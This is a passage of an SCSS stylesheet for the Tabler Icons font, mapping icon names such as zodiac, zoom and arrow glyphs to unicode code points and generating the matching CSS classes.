unicode('f9e4');\n$ti-icon-world-plus: unicode('f9e5');\n$ti-icon-world-question: unicode('f9e6');\n$ti-icon-world-search: unicode('f9e7');\n$ti-icon-world-share: unicode('f9e8');\n$ti-icon-world-star: unicode('f9e9');\n$ti-icon-world-up: unicode('f9ea');\n$ti-icon-world-upload: unicode('ef8b');\n$ti-icon-world-www: unicode('f38f');\n$ti-icon-world-x: unicode('f9eb');\n$ti-icon-wrecking-ball: unicode('ed97');\n$ti-icon-writing: unicode('ef08');\n$ti-icon-writing-off: unicode('f1cb');\n$ti-icon-writing-sign: unicode('ef07');\n$ti-icon-writing-sign-off: unicode('f1cc');\n$ti-icon-x: unicode('eb55');\n$ti-icon-xbox-a: unicode('f2b6');\n$ti-icon-xbox-a-filled: unicode('fdcb');\n$ti-icon-xbox-b: unicode('f2b7');\n$ti-icon-xbox-b-filled: unicode('fdca');\n$ti-icon-xbox-x: unicode('f2b8');\n$ti-icon-xbox-x-filled: unicode('fdc9');\n$ti-icon-xbox-y: unicode('f2b9');\n$ti-icon-xbox-y-filled: unicode('fdc8');\n$ti-icon-xd: unicode('fa33');\n$ti-icon-xxx: unicode('fc20');\n$ti-icon-yin-yang: unicode('ec35');\n$ti-icon-yin-yang-filled: unicode('f785');\n$ti-icon-yoga: unicode('f01f');\n$ti-icon-zeppelin: unicode('f270');\n$ti-icon-zeppelin-filled: unicode('fdc7');\n$ti-icon-zeppelin-off: unicode('f43f');\n$ti-icon-zip: unicode('f3b4');\n$ti-icon-zodiac-aquarius: unicode('ecac');\n$ti-icon-zodiac-aries: unicode('ecad');\n$ti-icon-zodiac-cancer: unicode('ecae');\n$ti-icon-zodiac-capricorn: unicode('ecaf');\n$ti-icon-zodiac-gemini: unicode('ecb0');\n$ti-icon-zodiac-leo: unicode('ecb1');\n$ti-icon-zodiac-libra: unicode('ecb2');\n$ti-icon-zodiac-pisces: unicode('ecb3');\n$ti-icon-zodiac-sagittarius: unicode('ecb4');\n$ti-icon-zodiac-scorpio: unicode('ecb5');\n$ti-icon-zodiac-taurus: unicode('ecb6');\n$ti-icon-zodiac-virgo: unicode('ecb7');\n$ti-icon-zoom: unicode('fdaa');\n$ti-icon-zoom-cancel: unicode('ec4d');\n$ti-icon-zoom-cancel-filled: unicode('fdc6');\n$ti-icon-zoom-check: unicode('ef09');\n$ti-icon-zoom-check-filled: unicode('f786');\n$ti-icon-zoom-code: unicode('f07f');\n$ti-icon-zoom-code-filled: unicode('fdc5');\n$ti-icon-zoom-exclamation: unicode('f080');\n$ti-icon-zoom-exclamation-filled: unicode('fdc4');\n$ti-icon-zoom-filled: unicode('f787');\n$ti-icon-zoom-in: unicode('eb56');\n$ti-icon-zoom-in-area: unicode('f1dc');\n$ti-icon-zoom-in-area-filled: unicode('f788');\n$ti-icon-zoom-in-filled: unicode('f789');\n$ti-icon-zoom-money: unicode('ef0a');\n$ti-icon-zoom-money-filled: unicode('fdc3');\n$ti-icon-zoom-out: unicode('eb57');\n$ti-icon-zoom-out-area: unicode('f1dd');\n$ti-icon-zoom-out-area-filled: unicode('fdc2');\n$ti-icon-zoom-out-filled: unicode('f78a');\n$ti-icon-zoom-pan: unicode('f1de');\n$ti-icon-zoom-pan-filled: unicode('fdc1');\n$ti-icon-zoom-question: unicode('edeb');\n$ti-icon-zoom-question-filled: unicode('fdc0');\n$ti-icon-zoom-replace: unicode('f2a7');\n$ti-icon-zoom-reset: unicode('f295');\n$ti-icon-zoom-scan: unicode('fcb0');\n$ti-icon-zoom-scan-filled: unicode('fdbf');\n$ti-icon-zzz: unicode('f228');\n$ti-icon-zzz-off: unicode('f440');\n\n\n.#{$ti-prefix}-a-b:before {\n  content: $ti-icon-a-b;\n}\n\n.#{$ti-prefix}-a-b-2:before {\n  content: $ti-icon-a-b-2;\n}\n\n.#{$ti-prefix}-a-b-off:before {\n  content: $ti-icon-a-b-off;\n}\n\n.#{$ti-prefix}-abacus:before {\n  content: $ti-icon-abacus;\n}\n\n.#{$ti-prefix}-abacus-off:before {\n  content: $ti-icon-abacus-off;\n}\n\n.#{$ti-prefix}-abc:before {\n  content: $ti-icon-abc;\n}\n\n.#{$ti-prefix}-access-point:before {\n  content: $ti-icon-access-point;\n}\n\n.#{$ti-prefix}-access-point-off:before {\n  content: $ti-icon-access-point-off;\n}\n\n.#{$ti-prefix}-accessible:before {\n  content: $ti-icon-accessible;\n}\n\n.#{$ti-prefix}-accessible-filled:before {\n  content: $ti-icon-accessible-filled;\n}\n\n.#{$ti-prefix}-accessible-off:before {\n  content: $ti-icon-accessible-off;\n}\n\n.#{$ti-prefix}-activity:before {\n  content: $ti-icon-activity;\n}\n\n.#{$ti-prefix}-activity-heartbeat:before {\n  content: $ti-icon-activity-heartbeat;\n}\n\n.#{$ti-prefix}-ad:before {\n  content: $ti-icon-ad;\n}\n\n.#{$ti-prefix}-ad-2:before {\n  content: $ti-icon-ad-2;\n}\n\n.#{$ti-prefix}-ad-circle:before {\n  content: $ti-icon-ad-circle;\n}\n\n.#{$ti-prefix}-ad-circle-filled:before {\n  content: $ti-icon-ad-circle-filled;\n}\n\n.#{$ti-prefix}-ad-circle-off:before {\n  content: $ti-icon-ad-circle-off;\n}\n\n.#{$ti-prefix}-ad-filled:before {\n  content: $ti-icon-ad-filled;\n}\n\n.#{$ti-prefix}-ad-off:before {\n  content: $ti-icon-ad-off;\n}\n\n.#{$ti-prefix}-address-book:before {\n  content: $ti-icon-address-book;\n}\n\n.#{$ti-prefix}-address-book-off:before {\n  content: $ti-icon-address-book-off;\n}\n\n.#{$ti-prefix}-adjustments:before {\n  content: $ti-icon-adjustments;\n}\n\n.#{$ti-prefix}-adjustments-alt:before {\n  content: $ti-icon-adjustments-alt;\n}\n\n.#{$ti-prefix}-adjustments-bolt:before {\n  content: $ti-icon-adjustments-bolt;\n}\n\n.#{$ti-prefix}-adjustments-cancel:before {\n  content: $ti-icon-adjustments-cancel;\n}\n\n.#{$ti-prefix}-adjustments-check:before {\n  content: $ti-icon-adjustments-check;\n}\n\n.#{$ti-prefix}-adjustments-code:before {\n  content: $ti-icon-adjustments-code;\n}\n\n.#{$ti-prefix}-adjustments-cog:before {\n  content: $ti-icon-adjustments-cog;\n}\n\n.#{$ti-prefix}-adjustments-dollar:before {\n  content: $ti-icon-adjustments-dollar;\n}\n\n.#{$ti-prefix}-adjustments-down:before {\n  content: $ti-icon-adjustments-down;\n}\n\n.#{$ti-prefix}-adjustments-exclamation:before {\n  content: $ti-icon-adjustments-exclamation;\n}\n\n.#{$ti-prefix}-adjustments-filled:before {\n  content: $ti-icon-adjustments-filled;\n}\n\n.#{$ti-prefix}-adjustments-heart:before {\n  content: $ti-icon-adjustments-heart;\n}\n\n.#{$ti-prefix}-adjustments-horizontal:before {\n  content: $ti-icon-adjustments-horizontal;\n}\n\n.#{$ti-prefix}-adjustments-minus:before {\n  content: $ti-icon-adjustments-minus;\n}\n\n.#{$ti-prefix}-adjustments-off:before {\n  content: $ti-icon-adjustments-off;\n}\n\n.#{$ti-prefix}-adjustments-pause:before {\n  content: $ti-icon-adjustments-pause;\n}\n\n.#{$ti-prefix}-adjustments-pin:before {\n  content: $ti-icon-adjustments-pin;\n}\n\n.#{$ti-prefix}-adjustments-plus:before {\n  content: $ti-icon-adjustments-plus;\n}\n\n.#{$ti-prefix}-adjustments-question:before {\n  content: $ti-icon-adjustments-question;\n}\n\n.#{$ti-prefix}-adjustments-search:before {\n  content: $ti-icon-adjustments-search;\n}\n\n.#{$ti-prefix}-adjustments-share:before {\n  content: $ti-icon-adjustments-share;\n}\n\n.#{$ti-prefix}-adjustments-star:before {\n  content: $ti-icon-adjustments-star;\n}\n\n.#{$ti-prefix}-adjustments-up:before {\n  content: $ti-icon-adjustments-up;\n}\n\n.#{$ti-prefix}-adjustments-x:before {\n  content: $ti-icon-adjustments-x;\n}\n\n.#{$ti-prefix}-aerial-lift:before {\n  content: $ti-icon-aerial-lift;\n}\n\n.#{$ti-prefix}-affiliate:before {\n  content: $ti-icon-affiliate;\n}\n\n.#{$ti-prefix}-affiliate-filled:before {\n  content: $ti-icon-affiliate-filled;\n}\n\n.#{$ti-prefix}-air-balloon:before {\n  content: $ti-icon-air-balloon;\n}\n\n.#{$ti-prefix}-air-conditioning:before {\n  content: $ti-icon-air-conditioning;\n}\n\n.#{$ti-prefix}-air-conditioning-disabled:before {\n  content: $ti-icon-air-conditioning-disabled;\n}\n\n.#{$ti-prefix}-air-traffic-control:before {\n  content: $ti-icon-air-traffic-control;\n}\n\n.#{$ti-prefix}-alarm:before {\n  content: $ti-icon-alarm;\n}\n\n.#{$ti-prefix}-alarm-average:before {\n  content: $ti-icon-alarm-average;\n}\n\n.#{$ti-prefix}-alarm-filled:before {\n  content: $ti-icon-alarm-filled;\n}\n\n.#{$ti-prefix}-alarm-minus:before {\n  content: $ti-icon-alarm-minus;\n}\n\n.#{$ti-prefix}-alarm-minus-filled:before {\n  content: $ti-icon-alarm-minus-filled;\n}\n\n.#{$ti-prefix}-alarm-off:before {\n  content: $ti-icon-alarm-off;\n}\n\n.#{$ti-prefix}-alarm-plus:before {\n  content: $ti-icon-alarm-plus;\n}\n\n.#{$ti-prefix}-alarm-plus-filled:before {\n  content: $ti-icon-alarm-plus-filled;\n}\n\n.#{$ti-prefix}-alarm-snooze:before {\n  content: $ti-icon-alarm-snooze;\n}\n\n.#{$ti-prefix}-alarm-snooze-filled:before {\n  content: $ti-icon-alarm-snooze-filled;\n}\n\n.#{$ti-prefix}-album:before {\n  content: $ti-icon-album;\n}\n\n.#{$ti-prefix}-album-off:before {\n  content: $ti-icon-album-off;\n}\n\n.#{$ti-prefix}-alert-circle:before {\n  content: $ti-icon-alert-circle;\n}\n\n.#{$ti-prefix}-alert-circle-filled:before {\n  content: $ti-icon-alert-circle-filled;\n}\n\n.#{$ti-prefix}-alert-circle-off:before {\n  content: $ti-icon-alert-circle-off;\n}\n\n.#{$ti-prefix}-alert-hexagon:before {\n  content: $ti-icon-alert-hexagon;\n}\n\n.#{$ti-prefix}-alert-hexagon-filled:before {\n  content: $ti-icon-alert-hexagon-filled;\n}\n\n.#{$ti-prefix}-alert-hexagon-off:before {\n  content: $ti-icon-alert-hexagon-off;\n}\n\n.#{$ti-prefix}-alert-octagon:before {\n  content: $ti-icon-alert-octagon;\n}\n\n.#{$ti-prefix}-alert-octagon-filled:before {\n  content: $ti-icon-alert-octagon-filled;\n}\n\n.#{$ti-prefix}-alert-small:before {\n  content: $ti-icon-alert-small;\n}\n\n.#{$ti-prefix}-alert-small-off:before {\n  content: $ti-icon-alert-small-off;\n}\n\n.#{$ti-prefix}-alert-square:before {\n  content: $ti-icon-alert-square;\n}\n\n.#{$ti-prefix}-alert-square-filled:before {\n  content: $ti-icon-alert-square-filled;\n}\n\n.#{$ti-prefix}-alert-square-rounded:before {\n  content: $ti-icon-alert-square-rounded;\n}\n\n.#{$ti-prefix}-alert-square-rounded-filled:before {\n  content: $ti-icon-alert-square-rounded-filled;\n}\n\n.#{$ti-prefix}-alert-square-rounded-off:before {\n  content: $ti-icon-alert-square-rounded-off;\n}\n\n.#{$ti-prefix}-alert-triangle:before {\n  content: $ti-icon-alert-triangle;\n}\n\n.#{$ti-prefix}-alert-triangle-filled:before {\n  content: $ti-icon-alert-triangle-filled;\n}\n\n.#{$ti-prefix}-alert-triangle-off:before {\n  content: $ti-icon-alert-triangle-off;\n}\n\n.#{$ti-prefix}-alien:before {\n  content: $ti-icon-alien;\n}\n\n.#{$ti-prefix}-alien-filled:before {\n  content: $ti-icon-alien-filled;\n}\n\n.#{$ti-prefix}-align-box-bottom-center:before {\n  content: $ti-icon-align-box-bottom-center;\n}\n\n.#{$ti-prefix}-align-box-bottom-center-filled:before {\n  content: $ti-icon-align-box-bottom-center-filled;\n}\n\n.#{$ti-prefix}-align-box-bottom-left:before {\n  content: $ti-icon-align-box-bottom-left;\n}\n\n.#{$ti-prefix}-align-box-bottom-left-filled:before {\n  content: $ti-icon-align-box-bottom-left-filled;\n}\n\n.#{$ti-prefix}-align-box-bottom-right:before {\n  content: $ti-icon-align-box-bottom-right;\n}\n\n.#{$ti-prefix}-align-box-bottom-right-filled:before {\n  content: $ti-icon-align-box-bottom-right-filled;\n}\n\n.#{$ti-prefix}-align-box-center-bottom:before {\n  content: $ti-icon-align-box-center-bottom;\n}\n\n.#{$ti-prefix}-align-box-center-middle:before {\n  content: $ti-icon-align-box-center-middle;\n}\n\n.#{$ti-prefix}-align-box-center-middle-filled:before {\n  content: $ti-icon-align-box-center-middle-filled;\n}\n\n.#{$ti-prefix}-align-box-center-stretch:before {\n  content: $ti-icon-align-box-center-stretch;\n}\n\n.#{$ti-prefix}-align-box-center-top:before {\n  content: $ti-icon-align-box-center-top;\n}\n\n.#{$ti-prefix}-align-box-left-bottom:before {\n  content: $ti-icon-align-box-left-bottom;\n}\n\n.#{$ti-prefix}-align-box-left-bottom-filled:before {\n  content: $ti-icon-align-box-left-bottom-filled;\n}\n\n.#{$ti-prefix}-align-box-left-middle:before {\n  content: $ti-icon-align-box-left-middle;\n}\n\n.#{$ti-prefix}-align-box-left-middle-filled:before {\n  content: $ti-icon-align-box-left-middle-filled;\n}\n\n.#{$ti-prefix}-align-box-left-stretch:before {\n  content: $ti-icon-align-box-left-stretch;\n}\n\n.#{$ti-prefix}-align-box-left-top:before {\n  content: $ti-icon-align-box-left-top;\n}\n\n.#{$ti-prefix}-align-box-left-top-filled:before {\n  content: $ti-icon-align-box-left-top-filled;\n}\n\n.#{$ti-prefix}-align-box-right-bottom:before {\n  content: $ti-icon-align-box-right-bottom;\n}\n\n.#{$ti-prefix}-align-box-right-bottom-filled:before {\n  content: $ti-icon-align-box-right-bottom-filled;\n}\n\n.#{$ti-prefix}-align-box-right-middle:before {\n  content: $ti-icon-align-box-right-middle;\n}\n\n.#{$ti-prefix}-align-box-right-middle-filled:before {\n  content: $ti-icon-align-box-right-middle-filled;\n}\n\n.#{$ti-prefix}-align-box-right-stretch:before {\n  content: $ti-icon-align-box-right-stretch;\n}\n\n.#{$ti-prefix}-align-box-right-top:before {\n  content: $ti-icon-align-box-right-top;\n}\n\n.#{$ti-prefix}-align-box-right-top-filled:before {\n  content: $ti-icon-align-box-right-top-filled;\n}\n\n.#{$ti-prefix}-align-box-top-center:before {\n  content: $ti-icon-align-box-top-center;\n}\n\n.#{$ti-prefix}-align-box-top-center-filled:before {\n  content: $ti-icon-align-box-top-center-filled;\n}\n\n.#{$ti-prefix}-align-box-top-left:before {\n  content: $ti-icon-align-box-top-left;\n}\n\n.#{$ti-prefix}-align-box-top-left-filled:before {\n  content: $ti-icon-align-box-top-left-filled;\n}\n\n.#{$ti-prefix}-align-box-top-right:before {\n  content: $ti-icon-align-box-top-right;\n}\n\n.#{$ti-prefix}-align-box-top-right-filled:before {\n  content: $ti-icon-align-box-top-right-filled;\n}\n\n.#{$ti-prefix}-align-center:before {\n  content: $ti-icon-align-center;\n}\n\n.#{$ti-prefix}-align-justified:before {\n  content: $ti-icon-align-justified;\n}\n\n.#{$ti-prefix}-align-left:before {\n  content: $ti-icon-align-left;\n}\n\n.#{$ti-prefix}-align-right:before {\n  content: $ti-icon-align-right;\n}\n\n.#{$ti-prefix}-alpha:before {\n  content: $ti-icon-alpha;\n}\n\n.#{$ti-prefix}-alphabet-cyrillic:before {\n  content: $ti-icon-alphabet-cyrillic;\n}\n\n.#{$ti-prefix}-alphabet-greek:before {\n  content: $ti-icon-alphabet-greek;\n}\n\n.#{$ti-prefix}-alphabet-latin:before {\n  content: $ti-icon-alphabet-latin;\n}\n\n.#{$ti-prefix}-alt:before {\n  content: $ti-icon-alt;\n}\n\n.#{$ti-prefix}-ambulance:before {\n  content: $ti-icon-ambulance;\n}\n\n.#{$ti-prefix}-ampersand:before {\n  content: $ti-icon-ampersand;\n}\n\n.#{$ti-prefix}-analyze:before {\n  content: $ti-icon-analyze;\n}\n\n.#{$ti-prefix}-analyze-filled:before {\n  content: $ti-icon-analyze-filled;\n}\n\n.#{$ti-prefix}-analyze-off:before {\n  content: $ti-icon-analyze-off;\n}\n\n.#{$ti-prefix}-anchor:before {\n  content: $ti-icon-anchor;\n}\n\n.#{$ti-prefix}-anchor-off:before {\n  content: $ti-icon-anchor-off;\n}\n\n.#{$ti-prefix}-angle:before {\n  content: $ti-icon-angle;\n}\n\n.#{$ti-prefix}-ankh:before {\n  content: $ti-icon-ankh;\n}\n\n.#{$ti-prefix}-antenna:before {\n  content: $ti-icon-antenna;\n}\n\n.#{$ti-prefix}-antenna-bars-1:before {\n  content: $ti-icon-antenna-bars-1;\n}\n\n.#{$ti-prefix}-antenna-bars-2:before {\n  content: $ti-icon-antenna-bars-2;\n}\n\n.#{$ti-prefix}-antenna-bars-3:before {\n  content: $ti-icon-antenna-bars-3;\n}\n\n.#{$ti-prefix}-antenna-bars-4:before {\n  content: $ti-icon-antenna-bars-4;\n}\n\n.#{$ti-prefix}-antenna-bars-5:before {\n  content: $ti-icon-antenna-bars-5;\n}\n\n.#{$ti-prefix}-antenna-bars-off:before {\n  content: $ti-icon-antenna-bars-off;\n}\n\n.#{$ti-prefix}-antenna-off:before {\n  content: $ti-icon-antenna-off;\n}\n\n.#{$ti-prefix}-aperture:before {\n  content: $ti-icon-aperture;\n}\n\n.#{$ti-prefix}-aperture-off:before {\n  content: $ti-icon-aperture-off;\n}\n\n.#{$ti-prefix}-api:before {\n  content: $ti-icon-api;\n}\n\n.#{$ti-prefix}-api-app:before {\n  content: $ti-icon-api-app;\n}\n\n.#{$ti-prefix}-api-app-off:before {\n  content: $ti-icon-api-app-off;\n}\n\n.#{$ti-prefix}-api-off:before {\n  content: $ti-icon-api-off;\n}\n\n.#{$ti-prefix}-app-window:before {\n  content: $ti-icon-app-window;\n}\n\n.#{$ti-prefix}-app-window-filled:before {\n  content: $ti-icon-app-window-filled;\n}\n\n.#{$ti-prefix}-apple:before {\n  content: $ti-icon-apple;\n}\n\n.#{$ti-prefix}-apps:before {\n  content: $ti-icon-apps;\n}\n\n.#{$ti-prefix}-apps-filled:before {\n  content: $ti-icon-apps-filled;\n}\n\n.#{$ti-prefix}-apps-off:before {\n  content: $ti-icon-apps-off;\n}\n\n.#{$ti-prefix}-archery-arrow:before {\n  content: $ti-icon-archery-arrow;\n}\n\n.#{$ti-prefix}-archive:before {\n  content: $ti-icon-archive;\n}\n\n.#{$ti-prefix}-archive-filled:before {\n  content: $ti-icon-archive-filled;\n}\n\n.#{$ti-prefix}-archive-off:before {\n  content: $ti-icon-archive-off;\n}\n\n.#{$ti-prefix}-armchair:before {\n  content: $ti-icon-armchair;\n}\n\n.#{$ti-prefix}-armchair-2:before {\n  content: $ti-icon-armchair-2;\n}\n\n.#{$ti-prefix}-armchair-2-off:before {\n  content: $ti-icon-armchair-2-off;\n}\n\n.#{$ti-prefix}-armchair-off:before {\n  content: $ti-icon-armchair-off;\n}\n\n.#{$ti-prefix}-arrow-autofit-content:before {\n  content: $ti-icon-arrow-autofit-content;\n}\n\n.#{$ti-prefix}-arrow-autofit-content-filled:before {\n  content: $ti-icon-arrow-autofit-content-filled;\n}\n\n.#{$ti-prefix}-arrow-autofit-down:before {\n  content: $ti-icon-arrow-autofit-down;\n}\n\n.#{$ti-prefix}-arrow-autofit-height:before {\n  content: $ti-icon-arrow-autofit-height;\n}\n\n.#{$ti-prefix}-arrow-autofit-left:before {\n  content: $ti-icon-arrow-autofit-left;\n}\n\n.#{$ti-prefix}-arrow-autofit-right:before {\n  content: $ti-icon-arrow-autofit-right;\n}\n\n.#{$ti-prefix}-arrow-autofit-up:before {\n  content: $ti-icon-arrow-autofit-up;\n}\n\n.#{$ti-prefix}-arrow-autofit-width:before {\n  content: $ti-icon-arrow-autofit-width;\n}\n\n.#{$ti-prefix}-arrow-back:before {\n  content: $ti-icon-arrow-back;\n}\n\n.#{$ti-prefix}-arrow-back-up:before {\n  content: $ti-icon-arrow-back-up;\n}\n\n.#{$ti-prefix}-arrow-back-up-double:before {\n  content: $ti-icon-arrow-back-up-double;\n}\n\n.#{$ti-prefix}-arrow-badge-down:before {\n  content: $ti-icon-arrow-badge-down;\n}\n\n.#{$ti-prefix}-arrow-badge-down-filled:before {\n  content: $ti-icon-arrow-badge-down-filled;\n}\n\n.#{$ti-prefix}-arrow-badge-left:before {\n  content: $ti-icon-arrow-badge-left;\n}\n\n.#{$ti-prefix}-arrow-badge-left-filled:before {\n  content: $ti-icon-arrow-badge-left-filled;\n}\n\n.#{$ti-prefix}-arrow-badge-right:before {\n  content: $ti-icon-arrow-badge-right;\n}\n\n.#{$ti-prefix}-arrow-badge-right-filled:before {\n  content: $ti-icon-arrow-badge-right-filled;\n}\n\n.#{$ti-prefix}-arrow-badge-up:before {\n  content: $ti-icon-arrow-badge-up;\n}\n\n.#{$ti-prefix}-arrow-badge-up-filled:before {\n  content: $ti-icon-arrow-badge-up-filled;\n}\n\n.#{$ti-prefix}-arrow-bar-both:before {\n  content: $ti-icon-arrow-bar-both;\n}\n\n.#{$ti-prefix}-arrow-bar-down:before {\n  content: $ti-icon-arrow-bar-down;\n}\n\n.#{$ti-prefix}-arrow-bar-left:before {\n  content: $ti-icon-arrow-bar-left;\n}\n\n.#{$ti-prefix}-arrow-bar-right:before {\n  content: $ti-icon-arrow-bar-right;\n}\n\n.#{$ti-prefix}-arrow-bar-to-down:before {\n  content: $ti-icon-arrow-bar-to-down;\n}\n\n.#{$ti-prefix}-arrow-bar-to-left:before {\n  content: $ti-icon-arrow-bar-to-left;\n}\n\n.#{$ti-prefix}-arrow-bar-to-right:before {\n  content: $ti-icon-arrow-bar-to-right;\n}\n\n.#{$ti-prefix}-arrow-bar-to-up:before {\n  content: $ti-icon-arrow-bar-to-up;\n}\n\n.#{$ti-prefix}-arrow-bar-up:before {\n  content: $ti-icon-arrow-bar-up;\n}\n\n.#{$ti-prefix}-arrow-bear-left:before {\n  content: $ti-icon-arrow-bear-left;\n}\n\n.#{$ti-prefix}-arrow-bear-left-2:before {\n  content: $ti-icon-arrow-bear-left-2;\n}\n\n.#{$ti-prefix}-arrow-bear-right:before {\n  content: $ti-icon-arrow-bear-right;\n}\n\n.#{$ti-prefix}-arrow-bear-right-2:before {\n  content: $ti-icon-arrow-bear-right-2;\n}\n\n.#{$ti-prefix}-arrow-big-down:before {\n  content: $ti-icon-arrow-big-down;\n}\n\n.#{$ti-prefix}-arrow-big-down-filled:before {\n  content: $ti-icon-arrow-big-down-filled;\n}\n\n.#{$ti-prefix}-arrow-big-down-line:before {\n  content: $ti-icon-arrow-big-down-line;\n}\n\n.#{$ti-prefix}-arrow-big-down-line-filled:before {\n  content: $ti-icon-arrow-big-down-line-filled;\n}\n\n.#{$ti-prefix}-arrow-big-down-lines:before {\n  content: $ti-icon-arrow-big-down-lines;\n}\n\n.#{$ti-prefix}-arrow-big-down-lines-filled:before {\n  content: $ti-icon-arrow-big-down-lines-filled;\n}\n\n.#{$ti-prefix}-arrow-big-left:before {\n  content: $ti-icon-arrow-big-left;\n}\n\n.#{$ti-prefix}-arrow-big-left-filled:before {\n  content: $ti-icon-arrow-big-left-filled;\n}\n\n.#{$ti-prefix}-arrow-big-left-line:before {\n  content: $ti-icon-arrow-big-left-line;\n}\n\n.#{$ti-prefix}-arrow-big-left-line-filled:before {\n  content: $ti-icon-arrow-big-left-line-filled;\n}\n\n.#{$ti-prefix}-arrow-big-left-lines:before {\n  content: $ti-icon-arrow-big-left-lines;\n}\n\n.#{$ti-prefix}-arrow-big-left-lines-filled:before {\n  content: $ti-icon-arrow-big-left-lines-filled;\n}\n\n.#{$ti-prefix}-arrow-big-right:before {\n  content: $ti-icon-arrow-big-right;\n}\n\n.#{$ti-prefix}-arrow-big-right-filled:before {\n  content: $ti-icon-arrow-big-right-filled;\n}\n\n.#{$ti-prefix}-arrow-big-right-line:before {\n  content: $ti-icon-arrow-big-right-line;\n}\n\n.#{$ti-prefix}-arrow-big-right-line-filled:before {\n  content: $ti-icon-arrow-big-right-line-filled;\n}\n\n.#{$ti-prefix}-arrow-big-right-lines:before {\n  content: $ti-icon-arrow-big-right-lines;\n}\n\n.#{$ti-prefix}-arrow-big-right-lines-filled:before {\n  content: $ti-icon-arrow-big-right-lines-filled;\n}\n\n.#{$ti-prefix}-arrow-big-up:before {\n  content: $ti-icon-arrow-big-up;\n}\n\n.#{$ti-prefix}-arrow-big-up-filled:before {\n  content: $ti-icon-arrow-big-up-filled;\n}\n\n.#{$ti-prefix}-arrow-big-up-line:before {\n  content: $ti-icon-arrow-big-up-line;\n}\n\n.#{$ti-prefix}-arrow-big-up-line-filled:before {\n  content: $ti-icon-arrow-big-up-line-filled;\n}\n\n.#{$ti-prefix}-arrow-big-up-lines:before {\n  content: $ti-icon-arrow-big-up-lines;\n}\n\n.#{$ti-prefix}-arrow-big-up-lines-filled:before {\n  content: $ti-icon-arrow-big-up-lines-filled;\n}\n\n.#{$ti-prefix}-arrow-bounce:before {\n  content: $ti-icon-arrow-bounce;\n}\n\n.#{$ti-prefix}-arrow-capsule:before {\n  content: $ti-icon-arrow-capsule;\n}\n\n.#{$ti-prefix}-arrow-curve-left:before {\n  content: $ti-icon-arrow-curve-left;\n}\n\n.#{$ti-prefix}-arrow-curve-right:before {\n  content: $ti-icon-arrow-curve-right;\n}\n\n.#{$ti-prefix}-arrow-down:before {\n  content: $ti-icon-arrow-down;\n}\n\n.#{$ti-prefix}-arrow-down-bar:before {\n  content: $ti-icon-arrow-down-bar;\n}\n\n.#{$ti-prefix}-arrow-down-circle:before {\n  content: $ti-icon-arrow-down-circle;\n}\n\n.#{$ti-prefix}-arrow-down-from-arc:before {\n  content: $ti-icon-arrow-down-from-arc;\n}\n\n.#{$ti-prefix}-arrow-down-left:before {\n  content: $ti-icon-arrow-down-left;\n}\n\n.#{$ti-prefix}-arrow-down-left-circle:before {\n  content: $ti-icon-arrow-down-left-circle;\n}\n\n.#{$ti-prefix}-arrow-down-rhombus:before {\n  content: $ti-icon-arrow-down-rhombus;\n}\n\n.#{$ti-prefix}-arrow-down-right:before {\n  content: $ti-icon-arrow-down-right;\n}\n\n.#{$ti-prefix}-arrow-down-right-circle:before {\n  content: $ti-icon-arrow-down-right-circle;\n}\n\n.#{$ti-prefix}-arrow-down-square:before {\n  content: $ti-icon-arrow-down-square;\n}\n\n.#{$ti-prefix}-arrow-down-tail:before {\n  content: $ti-icon-arrow-down-tail;\n}\n\n.#{$ti-prefix}-arrow-down-to-arc:before {\n  content: $ti-icon-arrow-down-to-arc;\n}\n\n.#{$ti-prefix}-arrow-elbow-left:before {\n  content: $ti-icon-arrow-elbow-left;\n}\n\n.#{$ti-prefix}-arrow-elbow-right:before {\n  content: $ti-icon-arrow-elbow-right;\n}\n\n.#{$ti-prefix}-arrow-fork:before {\n  content: $ti-icon-arrow-fork;\n}\n\n.#{$ti-prefix}-arrow-forward:before {\n  content: $ti-icon-arrow-forward;\n}\n\n.#{$ti-prefix}-arrow-forward-up:before {\n  content: $ti-icon-arrow-forward-up;\n}\n\n.#{$ti-prefix}-arrow-forward-up-double:before {\n  content: $ti-icon-arrow-forward-up-double;\n}\n\n.#{$ti-prefix}-arrow-guide:before {\n  content: $ti-icon-arrow-guide;\n}\n\n.#{$ti-prefix}-arrow-iteration:before {\n  content: $ti-icon-arrow-iteration;\n}\n\n.#{$ti-prefix}-arrow-left:before {\n  content: $ti-icon-arrow-left;\n}\n\n.#{$ti-prefix}-arrow-left-bar:before {\n  content: $ti-icon-arrow-left-bar;\n}\n\n.#{$ti-prefix}-arrow-left-circle:before {\n  content: $ti-icon-arrow-left-circle;\n}\n\n.#{$ti-prefix}-arrow-left-from-arc:before {\n  content: $ti-icon-arrow-left-from-arc;\n}\n\n.#{$ti-prefix}-arrow-left-rhombus:before {\n  content: $ti-icon-arrow-left-rhombus;\n}\n\n.#{$ti-prefix}-arrow-left-right:before {\n  content: $ti-icon-arrow-left-right;\n}\n\n.#{$ti-prefix}-arrow-left-square:before {\n  content: $ti-icon-arrow-left-square;\n}\n\n.#{$ti-prefix}-arrow-left-tail:before {\n  content: $ti-icon-arrow-left-tail;\n}\n\n.#{$ti-prefix}-arrow-left-to-arc:before {\n  content: $ti-icon-arrow-left-to-arc;\n}\n\n.#{$ti-prefix}-arrow-loop-left:before {\n  content: $ti-icon-arrow-loop-left;\n}\n\n.#{$ti-prefix}-arrow-loop-left-2:before {\n  content: $ti-icon-arrow-loop-left-2;\n}\n\n.#{$ti-prefix}-arrow-loop-right:before {\n  content: $ti-icon-arrow-loop-right;\n}\n\n.#{$ti-prefix}-arrow-loop-right-2:before {\n  content: $ti-icon-arrow-loop-right-2;\n}\n\n.#{$ti-prefix}-arrow-merge:before {\n  content: $ti-icon-arrow-merge;\n}\n\n.#{$ti-prefix}-arrow-merge-alt-left:before {\n  content: $ti-icon-arrow-merge-alt-left;\n}\n\n.#{$ti-prefix}-arrow-merge-alt-right:before {\n  content: $ti-icon-arrow-merge-alt-right;\n}\n\n.#{$ti-prefix}-arrow-merge-both:before {\n  content: $ti-icon-arrow-merge-both;\n}\n\n.#{$ti-prefix}-arrow-merge-left:before {\n  content: $ti-icon-arrow-merge-left;\n}\n\n.#{$ti-prefix}-arrow-merge-right:before {\n  content: $ti-icon-arrow-merge-right;\n}\n\n.#{$ti-prefix}-arrow-move-down:before {\n  content: $ti-icon-arrow-move-down;\n}\n\n.#{$ti-prefix}-arrow-move-left:before {\n  content: $ti-icon-arrow-move-left;\n}\n\n.#{$ti-prefix}-arrow-move-right:before {\n  content: $ti-icon-arrow-move-right;\n}\n\n.#{$ti-prefix}-arrow-move-up:before {\n  content: $ti-icon-arrow-move-up;\n}\n\n.#{$ti-prefix}-arrow-narrow-down:before {\n  content: 